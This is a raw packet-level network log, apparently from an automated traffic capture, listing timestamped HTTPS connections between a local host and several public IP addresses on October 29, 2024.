Oct 29, 2024 17:59:37.709099054 CET	49917	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.709863901 CET	49917	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.709924936 CET	443	49917	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.710170031 CET	49917	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.710175991 CET	443	49917	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.720181942 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.720257998 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.720268011 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.723644018 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.723705053 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.723711014 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.725002050 CET	443	49915	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.725199938 CET	49915	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.725222111 CET	443	49915	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.726264000 CET	443	49915	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.726320982 CET	49915	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.727423906 CET	49915	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.727495909 CET	443	49915	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.727648020 CET	49915	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.727658033 CET	443	49915	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.789479017 CET	49916	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.789500952 CET	49915	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.789504051 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.803603888 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.803690910 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.803726912 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.803741932 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.803760052 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.803802013 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.803822041 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.804169893 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.804244041 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.804275990 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.804295063 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.804301023 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.804415941 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.804431915 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.804495096 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.804502010 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.805455923 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.805527925 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.807357073 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.807419062 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.807708979 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.807714939 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.821197987 CET	49917	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.823471069 CET	49923	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.823503017 CET	443	49923	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.823579073 CET	49923	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.823749065 CET	49923	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.823760033 CET	443	49923	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.841101885 CET	443	49917	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.841166973 CET	443	49917	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.841276884 CET	49917	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.841326952 CET	49917	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.841350079 CET	443	49917	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.843050003 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.843091965 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.843131065 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.843143940 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.843158960 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.843179941 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.847359896 CET	443	49916	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.847434998 CET	443	49916	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.847538948 CET	49916	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.847578049 CET	49916	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.847594976 CET	443	49916	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.870683908 CET	443	49915	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.870759010 CET	443	49915	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.870805979 CET	49915	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.870915890 CET	49915	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.870934010 CET	443	49915	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.884872913 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.884928942 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.884929895 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.884948969 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.885211945 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.885220051 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.924069881 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.924128056 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.924139023 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.924628019 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.924675941 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.924684048 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.924709082 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.924848080 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.924856901 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.924870968 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:38.009721994 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.042129993 CET	49923	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.042475939 CET	49898	443	192.168.2.6	18.244.18.27
Oct 29, 2024 17:59:38.042618036 CET	443	49898	18.244.18.27	192.168.2.6
Oct 29, 2024 17:59:38.042680025 CET	49898	443	192.168.2.6	18.244.18.27
Oct 29, 2024 17:59:38.083355904 CET	443	49923	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.221514940 CET	443	49918	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.225629091 CET	49918	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.225645065 CET	443	49918	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.226274967 CET	49918	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.226280928 CET	443	49918	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.243608952 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.243638992 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.243648052 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.243683100 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.243689060 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.243695974 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.243705988 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.243721008 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.243731976 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.243752003 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.243771076 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.347595930 CET	49924	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:38.347626925 CET	443	49924	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:38.347692013 CET	49924	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:38.347893000 CET	49925	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:38.347923994 CET	443	49925	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:38.347970009 CET	49925	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:38.348265886 CET	49926	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:38.348273993 CET	443	49926	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:38.348335028 CET	49926	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:38.348560095 CET	49927	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:38.348567963 CET	443	49927	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:38.348738909 CET	49924	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:38.348750114 CET	443	49924	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:38.348759890 CET	49927	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:38.348885059 CET	49925	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:38.348900080 CET	443	49925	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:38.348982096 CET	49926	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:38.348992109 CET	443	49926	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:38.349083900 CET	49927	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:38.349097013 CET	443	49927	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:38.353456974 CET	443	49918	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.353812933 CET	443	49918	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.353882074 CET	49918	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.354337931 CET	49918	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.354360104 CET	443	49918	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.354378939 CET	49918	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.354386091 CET	443	49918	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.357583046 CET	49928	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.357609034 CET	443	49928	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.357691050 CET	49928	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.358122110 CET	49928	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.358135939 CET	443	49928	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.360893965 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.360908031 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.360934019 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.360944986 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.360948086 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.360960960 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.360966921 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.360975981 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.360989094 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.361005068 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.361025095 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.401247978 CET	443	49919	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.401741982 CET	49919	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.401771069 CET	443	49919	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.402164936 CET	49919	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.402170897 CET	443	49919	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.403254986 CET	443	49920	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.403583050 CET	49920	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.403608084 CET	443	49920	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.404159069 CET	49920	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.404165030 CET	443	49920	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.446782112 CET	443	49921	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.448937893 CET	49921	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.448956013 CET	443	49921	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.449026108 CET	443	49922	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.449652910 CET	49921	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.449656963 CET	443	49921	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.452224016 CET	49922	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.452245951 CET	443	49922	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.452806950 CET	49922	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.452811956 CET	443	49922	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.477921963 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.477936983 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.477958918 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.477996111 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.478013039 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.478024960 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.478050947 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.532618046 CET	443	49919	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.532854080 CET	443	49919	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.532900095 CET	443	49919	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.532902956 CET	49919	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.532938004 CET	49919	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.532970905 CET	49919	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.532984972 CET	443	49919	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.532996893 CET	49919	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.533004045 CET	443	49919	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.535404921 CET	443	49920	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.535475016 CET	443	49920	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.535595894 CET	49920	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.537261009 CET	49929	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.537283897 CET	443	49929	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.537344933 CET	49929	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.537481070 CET	49920	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.537496090 CET	443	49920	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.537504911 CET	49920	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.537511110 CET	443	49920	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.538438082 CET	49929	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.538449049 CET	443	49929	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.540127993 CET	49930	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.540152073 CET	443	49930	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.540302992 CET	49930	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.540442944 CET	49930	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.540458918 CET	443	49930	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.579468012 CET	443	49922	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.579652071 CET	443	49922	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.579720974 CET	49922	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.579941034 CET	49922	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.579941034 CET	49922	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.579950094 CET	443	49922	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.579957962 CET	443	49922	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.582178116 CET	49931	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.582190990 CET	443	49931	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.582259893 CET	49931	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.582377911 CET	49931	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.582386971 CET	443	49931	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.586021900 CET	443	49923	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.586097956 CET	443	49921	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.586134911 CET	443	49923	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.586154938 CET	49923	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.586158037 CET	443	49921	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.586194038 CET	49923	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.586201906 CET	49921	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.586347103 CET	49921	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.586354971 CET	443	49921	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.586364031 CET	49921	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.586368084 CET	443	49921	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.588845968 CET	49932	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.588879108 CET	443	49932	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.589083910 CET	49932	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.589246035 CET	49932	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.589262009 CET	443	49932	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.595129967 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.595158100 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.595213890 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.595227957 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.595247030 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.595271111 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.595621109 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.595681906 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.595690966 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.595738888 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.597943068 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:38.597958088 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:38.703946114 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:38.703977108 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:38.704356909 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:38.704583883 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:38.704597950 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:38.705580950 CET	49934	443	192.168.2.6	23.218.232.185
Oct 29, 2024 17:59:38.705610037 CET	443	49934	23.218.232.185	192.168.2.6
Oct 29, 2024 17:59:38.705710888 CET	49934	443	192.168.2.6	23.218.232.185
Oct 29, 2024 17:59:38.705868959 CET	49934	443	192.168.2.6	23.218.232.185
Oct 29, 2024 17:59:38.705879927 CET	443	49934	23.218.232.185	192.168.2.6
Oct 29, 2024 17:59:38.962701082 CET	443	49924	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:38.963524103 CET	49924	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:38.963538885 CET	443	49924	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:38.964667082 CET	443	49924	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:38.965897083 CET	49924	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:38.966238976 CET	443	49924	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:38.966954947 CET	443	49926	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:38.967175961 CET	49926	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:38.967181921 CET	443	49926	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:38.968662024 CET	443	49926	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:38.968729019 CET	49926	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:38.968735933 CET	443	49925	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:38.969141960 CET	49926	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:38.969228029 CET	443	49926	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:38.969593048 CET	49925	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:38.969603062 CET	443	49925	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:38.970078945 CET	443	49925	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:38.970468998 CET	49925	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:38.970570087 CET	443	49925	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:38.973263025 CET	443	49927	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:38.973484993 CET	49927	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:38.973495007 CET	443	49927	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:38.977135897 CET	443	49927	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:38.977294922 CET	49927	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:38.977686882 CET	49927	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:38.977783918 CET	443	49927	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:39.020195007 CET	49925	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:39.020225048 CET	49927	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:39.020231962 CET	443	49927	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:39.089252949 CET	49924	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:39.089252949 CET	49926	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:39.089282990 CET	443	49926	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:39.091837883 CET	443	49928	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.097495079 CET	49928	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.097527981 CET	443	49928	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.098289967 CET	49928	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.098300934 CET	443	49928	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.132699966 CET	49927	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:39.191747904 CET	49926	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:39.224157095 CET	443	49928	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.224234104 CET	443	49928	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.224306107 CET	49928	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.224515915 CET	49928	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.224525928 CET	443	49928	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.224596977 CET	49928	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.224602938 CET	443	49928	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.230570078 CET	49936	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.230585098 CET	443	49936	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.231266975 CET	49936	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.231519938 CET	49936	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.231533051 CET	443	49936	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.287086964 CET	443	49930	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.287769079 CET	49930	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.287791014 CET	443	49930	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.288697004 CET	49930	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.288702011 CET	443	49930	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.306031942 CET	443	49929	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.307017088 CET	49929	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.307049036 CET	443	49929	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.307549953 CET	49929	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.307557106 CET	443	49929	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.324333906 CET	443	49931	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.324693918 CET	49931	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.324713945 CET	443	49931	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.325923920 CET	49931	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.325931072 CET	443	49931	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.328128099 CET	443	49934	23.218.232.185	192.168.2.6
Oct 29, 2024 17:59:39.329180956 CET	49934	443	192.168.2.6	23.218.232.185
Oct 29, 2024 17:59:39.329199076 CET	443	49934	23.218.232.185	192.168.2.6
Oct 29, 2024 17:59:39.330657005 CET	443	49934	23.218.232.185	192.168.2.6
Oct 29, 2024 17:59:39.330722094 CET	49934	443	192.168.2.6	23.218.232.185
Oct 29, 2024 17:59:39.331877947 CET	49934	443	192.168.2.6	23.218.232.185
Oct 29, 2024 17:59:39.331876993 CET	443	49932	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.331954002 CET	443	49934	23.218.232.185	192.168.2.6
Oct 29, 2024 17:59:39.332210064 CET	49934	443	192.168.2.6	23.218.232.185
Oct 29, 2024 17:59:39.332216024 CET	443	49934	23.218.232.185	192.168.2.6
Oct 29, 2024 17:59:39.333053112 CET	49932	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.333085060 CET	443	49932	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.333600998 CET	49932	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.333607912 CET	443	49932	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.384169102 CET	49934	443	192.168.2.6	23.218.232.185
Oct 29, 2024 17:59:39.421658993 CET	443	49930	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.421725988 CET	443	49930	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.421914101 CET	49930	443	192.168.2.6	13.107.246.45
